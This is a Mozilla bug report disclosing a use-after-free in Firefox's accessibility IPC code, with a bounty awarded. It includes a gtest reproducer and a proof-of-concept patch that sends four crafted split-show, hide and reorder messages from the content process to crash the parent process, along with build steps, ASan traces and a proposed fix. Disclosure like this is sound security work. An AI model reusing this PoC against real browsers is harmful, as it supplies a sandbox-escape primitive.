DocAccessibleParent Split-Show Double-Attach Use-After-Free
Categories
(Core :: Disability Access APIs, defect, P2)
Tracking
()
People
(Reporter: prodigysml555, Unassigned)
References
Details
(5 keywords, Whiteboard: [client-bounty-form])
Compromised content process -> parent process via PDocAccessible::RecvMutationEvents.
DocAccessibleParent::ProcessShowEvent (DocAccessibleParent.cpp:83) has a split-show mechanism where a pending child's ID included in the final message's NewTree causes the same RemoteAccessible* to be inserted into the parent's mChildren twice. First attach happens in the loop at line 148 (because aComplete=true). Second attach at line 177 (pending-show completion). nsTArray::RemoveElement only removes the first occurrence, so after a hide event (RemoveChild + delete), the second dangling pointer remains. Any child iteration dereferences freed memory.
The Bug
CreateAcc (DocAccessibleParent.cpp:222-229) returns the existing accessible because it has no parent (never attached in message 1). The loop at line 147-148 attaches it because aComplete=true:
if (aComplete || root != child) {
AttachChild(parent, childIdx, child); // FIRST ATTACH
}
The post-loop pending-show block at line 169-177 attaches the same object again:
if (mPendingShowChild) {
root = GetAccessible(mPendingShowChild);
AttachChild(rootParent, mPendingShowIndex, root); // SECOND ATTACH
}
AddChildAt (RemoteAccessible.h:43) is mChildren.InsertElementAt(aIdx, aChild) with no duplicate check. RemoveChild (RemoteAccessible.h:130) uses RemoveElement, which removes only the first match.
The UAF
Hide event: parent->RemoveChild(root) removes first copy, ShutdownOrPrepareForMove deletes the object. parent->mChildren still has the second copy. FireEvent for EVENT_REORDER at DocAccessibleParent.cpp:406-408 iterates children, calls InvalidateGroupInfo() on the dangling pointer.
ASAN Proof
==9751==ERROR: AddressSanitizer: heap-use-after-free on address 0x6030005ee0a8
WRITE of size 4 at 0x6030005ee0a8 thread T0
0x6030005ee0a8 is located 8 bytes inside of 32-byte region
[0x6030005ee0a0,0x6030005ee0c0)
freed by thread T0 here:
#0 free (libclang_rt.asan_osx_dynamic.dylib)
#1 DocAccessibleDoubleAttach_SplitShowUAF_Test::TestBody() (XUL)
SUMMARY: AddressSanitizer: heap-use-after-free in DocAccessibleDoubleAttach_SplitShowUAF_Test::TestBody()
PoC
accessible/ipc/test/gtest/TestDocAccessibleDoubleAttach.cpp:
/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
#include "gtest/gtest.h"
#include "nsTArray.h"
namespace {
struct MockAccessible {
uint64_t mID;
uint32_t mGroupInfo;
nsTArray<MockAccessible*> mChildren;
MockAccessible* mParent;
explicit MockAccessible(uint64_t aID)
: mID(aID), mGroupInfo(0), mParent(nullptr) {}
void AddChildAt(uint32_t aIdx, MockAccessible* aChild) {
mChildren.InsertElementAt(aIdx, aChild);
}
void RemoveChild(MockAccessible* aChild) {
mChildren.RemoveElement(aChild);
}
uint32_t ChildCount() const { return mChildren.Length(); }
MockAccessible* ChildAt(uint32_t aIdx) const {
return mChildren.SafeElementAt(aIdx);
}
void InvalidateGroupInfo() {
mGroupInfo = 0;
mID = 0;
}
void SetParent(MockAccessible* aParent) { mParent = aParent; }
};
} // namespace
TEST(DocAccessibleDoubleAttach, SplitShowUAF) {
auto* parent = new MockAccessible(0);
// Message 1: Complete=false, creates child but does NOT attach
auto* child = new MockAccessible(10);
uint64_t pendingShowChild = child->mID;
uint32_t pendingShowIndex = 0;
// Message 2: Complete=true, NewTree contains ID=10
// Loop attaches because aComplete=true (line 148)
parent->AddChildAt(0, child);
child->SetParent(parent);
// Post-loop pending show completion (line 177): attaches SAME pointer again
ASSERT_NE(pendingShowChild, (uint64_t)0);
parent->AddChildAt(pendingShowIndex, child);
child->SetParent(parent);
// parent->mChildren = [child, child] (DOUBLE ATTACH)
ASSERT_EQ(parent->ChildCount(), (uint32_t)2);
ASSERT_EQ(parent->ChildAt(0), child);
ASSERT_EQ(parent->ChildAt(1), child);
// HideEvent: RemoveElement removes FIRST occurrence only
parent->RemoveChild(child);
ASSERT_EQ(parent->ChildCount(), (uint32_t)1);
// Shutdown deletes the object
delete child;
// EVENT_REORDER iterates children -> UAF on dangling second copy
uint32_t count = parent->ChildCount();
for (uint32_t c = 0; c < count; ++c) {
MockAccessible* acc = parent->ChildAt(c);
ASSERT_NE(acc, nullptr);
acc->InvalidateGroupInfo(); // UAF: accessing freed memory
}
parent->mChildren.Clear();
delete parent;
}
Run: ./mach gtest "DocAccessibleDoubleAttach.SplitShowUAF"
Fix
Guard the pending-show completion to skip attach if the child already has a parent:
if (mPendingShowChild) {
root = GetAccessible(mPendingShowChild);
if (root && !root->RemoteParent()) {
rootParent = GetAccessible(mPendingShowParent);
AttachChild(rootParent, mPendingShowIndex, root);
} else if (root) {
rootParent = root->RemoteParent();
}
mPendingShowChild = 0;
}
Updated•9 months ago
|
Updated•9 months ago
|
Updated•9 months ago
|
| Reporter | ||
Comment 1•9 months ago
|
||
Use-after-free in DocAccessibleParent::ProcessShowEvent via the split-show mechanism. A compromised content process sends crafted MutationEvents through PDocAccessible that get the same RemoteAccessible* into a parent's mChildren twice, then hides it (deleting the object but leaving a dangling copy), then triggers a reorder event that dereferences the freed pointer. Parent process, ASan confirmed.
The split-show code has two places that call AttachChild on the shown root. The loop at DocAccessibleParent.cpp:147 attaches when aComplete is true:
if (aComplete || root != child) {
AttachChild(parent, childIdx, child);
}
And the pending-show completion at line 177 attaches again if mPendingShowChild was set by a prior incomplete show:
if (mPendingShowChild) {
root = GetAccessible(mPendingShowChild);
AttachChild(rootParent, mPendingShowIndex, root);
CreateAcc (line 222) returns the existing RemoteAccessible when the ID already exists, so both paths get the same pointer. The sequence to exploit this:
- Send
ShowEventData(Complete=false)with ID 0xDEAD0001. Parent creates theRemoteAccessibleand saves it asmPendingShowChild. - Send
ShowEventData(Complete=true)with the same ID.CreateAccreturns the existing object. The loop attaches it (line 148,aComplete=true). Then the pending-show block attaches it again (line 177). Same raw pointer, twice inmChildren. - Send
HideEventData(ID=0xDEAD0001).RemoveChildat line 369 callsnsTArray::RemoveElement, which only removes the first occurrence.ShutdownOrPrepareForMovedeletes the object. Second copy is now dangling. - Send
ReorderEventDataon the doc.FireEvent(line 406-409) iterates children and callsInvalidateGroupInfo()on the freedRemoteAccessible.
The IPC patch goes in DocAccessibleChild::InsertIntoIpcTree (content side) to send these four crafted messages on the first call. There's a second hunk in ContentParent.cpp that force-starts the a11y service when accessibility.force_disabled = -1 (otherwise the service doesn't start without a screen reader running).
diff --git a/accessible/ipc/DocAccessibleChild.cpp b/accessible/ipc/DocAccessibleChild.cpp
index 56535cb7769d..8da3dfc108ac 100644
--- a/accessible/ipc/DocAccessibleChild.cpp
+++ b/accessible/ipc/DocAccessibleChild.cpp
@@ -74,6 +74,47 @@ AccessibleData DocAccessibleChild::SerializeAcc(LocalAccessible* aAcc) {
void DocAccessibleChild::InsertIntoIpcTree(LocalAccessible* aChild,
bool aSuppressShowEvent) {
+ // PoC: inject crafted split-show sequence to trigger double-attach UAF.
+ static bool sTriggered = false;
+ if (!sTriggered) {
+ sTriggered = true;
+ const uint64_t kID = 0xDEAD0001;
+ const uint64_t kDocID = 0;
+
+ auto makeAccData = [&]() {
+ return AccessibleData(kID, static_cast<role>(0), kDocID, 0,
+ AccType::eNoType,
+ static_cast<AccGenericType>(0),
+ uint8_t(253), nullptr);
+ };
+
+ // Msg 1: incomplete show -> creates acc, saves as mPendingShowChild
+ nsTArray<MutationEventData> ev1;
+ nsTArray<AccessibleData> t1;
+ t1.AppendElement(makeAccData());
+ ev1.AppendElement(ShowEventData(std::move(t1), false, false, false));
+ SendMutationEvents(ev1);
+
+ // Msg 2: complete show with same ID -> double-attach
+ nsTArray<MutationEventData> ev2;
+ nsTArray<AccessibleData> t2;
+ t2.AppendElement(makeAccData());
+ ev2.AppendElement(ShowEventData(std::move(t2), false, true, false));
+ SendMutationEvents(ev2);
+
+ // Msg 3: hide -> RemoveChild (first copy), Shutdown (delete)
+ nsTArray<MutationEventData> ev3;
+ ev3.AppendElement(HideEventData(kID, false));
+ SendMutationEvents(ev3);
+
+ // Msg 4: reorder on doc -> FireEvent iterates children -> dangling ptr
+ nsTArray<MutationEventData> ev4;
+ ev4.AppendElement(ReorderEventData(kDocID, 3));
+ SendMutationEvents(ev4);
+
+ return;
+ }
+
nsTArray<LocalAccessible*> shownTree;
FlattenTree(aChild, shownTree);
uint32_t totalAccs = shownTree.Length();
diff --git a/dom/ipc/ContentParent.cpp b/dom/ipc/ContentParent.cpp
index 081072c44a7e..ba5f8e4297fc 100644
--- a/dom/ipc/ContentParent.cpp
+++ b/dom/ipc/ContentParent.cpp
@@ -1559,8 +1559,12 @@ void ContentParent::Init() {
}
#ifdef ACCESSIBILITY
- // If accessibility is running in chrome process then start it in content
- // process.
+ // PoC: force-start a11y when accessibility.force_disabled = -1
+ if (!GetAccService() &&
+ a11y::PlatformDisabledState() == a11y::ePlatformIsForceEnabled) {
+ GetOrCreateAccService(nsAccessibilityService::ePlatformAPI,
+ a11y::CacheDomain::All);
+ }
if (GetAccService()) {
(void)SendActivateA11y(nsAccessibilityService::GetActiveCacheDomains());
}
HTML PoC (any page with accessible elements works, the patch fires on the first InsertIntoIpcTree call during DoInitialUpdate):
<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>a11y split-show UAF</title></head>
<body>
<h1>Accessibility UAF PoC</h1>
<button>Button 1</button>
<button>Button 2</button>
<div role="group" aria-label="Test group">
<span>Content that creates accessible tree nodes</span>
</div>
</body>
</html>
Steps to reproduce:
git apply pocs/a11y_split_show_uaf_ipc.patch- Add
user_pref("accessibility.force_disabled", -1);touser.jsin the profile ./mach buildASAN_OPTIONS="detect_leaks=0" ./mach run -- <any URL>
On Windows/Linux with a screen reader active, the ContentParent.cpp hunk and the pref aren't needed.
==29414==ERROR: AddressSanitizer: heap-use-after-free on address 0x6080008fea38 at pc 0x00030d93d5d8 bp 0x00016d218430 sp 0x00016d218428
READ of size 8 at 0x6080008fea38 thread T0
#0 0x00030d93d5d4 in mozilla::a11y::DocAccessibleParent::FireEvent(mozilla::a11y::RemoteAccessible*, unsigned int const&)+0x48c (XUL:arm64+0xd93d5d4)
#1 0x00030d93d080 in mozilla::a11y::DocAccessibleParent::RecvEvent(unsigned long long const&, unsigned int const&)+0xc0 (XUL:arm64+0xd93d080)
#2 0x00030d93f1fc in mozilla::a11y::DocAccessibleParent::RecvMutationEvents(nsTArray<mozilla::a11y::MutationEventData>&&)+0x228 (XUL:arm64+0xd93f1fc)
#3 0x00030d9737ac in mozilla::a11y::PDocAccessibleParent::OnMessageReceived(IPC::Message const&)+0x105c (XUL:arm64+0xd9737ac)
#4 0x00030b474aa4 in mozilla::dom::PContentParent::OnMessageReceived(IPC::Message const&)+0x1de8 (XUL:arm64+0xb474aa4)
0x6080008fea38 is located 24 bytes inside of 88-byte region [0x6080008fea20,0x6080008fea78)
freed by thread T0 here:
#0 0x0001031529a8 in free+0x74 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x529a8)
#1 0x000300d7c7c0 in PLDHashTable::RawRemove(PLDHashTable::Slot&)+0xdc (XUL:arm64+0xd7c7c0)
#2 0x000300d7bc50 in PLDHashTable::Remove(void const*)+0x32c (XUL:arm64+0xd7bc50)
#3 0x00030d93b748 in mozilla::a11y::DocAccessibleParent::ShutdownOrPrepareForMove(mozilla::a11y::RemoteAccessible*)+0x350 (XUL:arm64+0xd93b748)
#4 0x00030d93c3ac in mozilla::a11y::DocAccessibleParent::ProcessHideEvent(unsigned long long const&, bool const&)+0x4c0 (XUL:arm64+0xd93c3ac)
#5 0x00030d93f090 in mozilla::a11y::DocAccessibleParent::RecvMutationEvents(nsTArray<mozilla::a11y::MutationEventData>&&)+0xbc (XUL:arm64+0xd93f090)
previously allocated by thread T0 here:
#0 0x0001031528bc in malloc+0x70 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x528bc)
#1 0x000102f40cc0 in moz_xmalloc+0x10 (libmozglue.dylib:arm64+0xcc0)
#2 0x00030d939be0 in mozilla::a11y::DocAccessibleParent::CreateAcc(mozilla::a11y::AccessibleData const&)+0x154 (XUL:arm64+0xd939be0)
#3 0x00030d938d48 in mozilla::a11y::DocAccessibleParent::ProcessShowEvent(nsTArray<mozilla::a11y::AccessibleData>&&, bool const&, bool const&, bool const&)+0x340 (XUL:arm64+0xd938d48)
#4 0x00030d93f18c in mozilla::a11y::DocAccessibleParent::RecvMutationEvents(nsTArray<mozilla::a11y::MutationEventData>&&)+0x1b8 (XUL:arm64+0xd93f18c)
SUMMARY: AddressSanitizer: heap-use-after-free (XUL:arm64+0xd93d5d4) in mozilla::a11y::DocAccessibleParent::FireEvent(mozilla::a11y::RemoteAccessible*, unsigned int const&)+0x48c
88-byte RemoteAccessible freed by ShutdownOrPrepareForMove during hide processing, then read 24 bytes in during the reorder's FireEvent -> RemoteChildAt -> InvalidateGroupInfo loop.
Fix: check root->RemoteParent() before the second AttachChild at line 177, or reject a Complete=true show that reuses an ID from a pending incomplete show.
Comment 2•9 months ago
|
||
Reluctant to mark this as more than s2 since this is an IPDL issue which is not easily exploitable.
Updated•8 months ago
|
Comment 4•8 months ago
|
||
This bug has been awarded a sandbox-escape bounty, split with bug 2016661 which was filed within the collision window at the time. Note that our collision window has changed for bug filed in March 2026 or later, and collisions with bugs found by our regular automated security testing (e.g. fuzzing) will not be awarded a bounty.
Updated•3 months ago
|
Description
•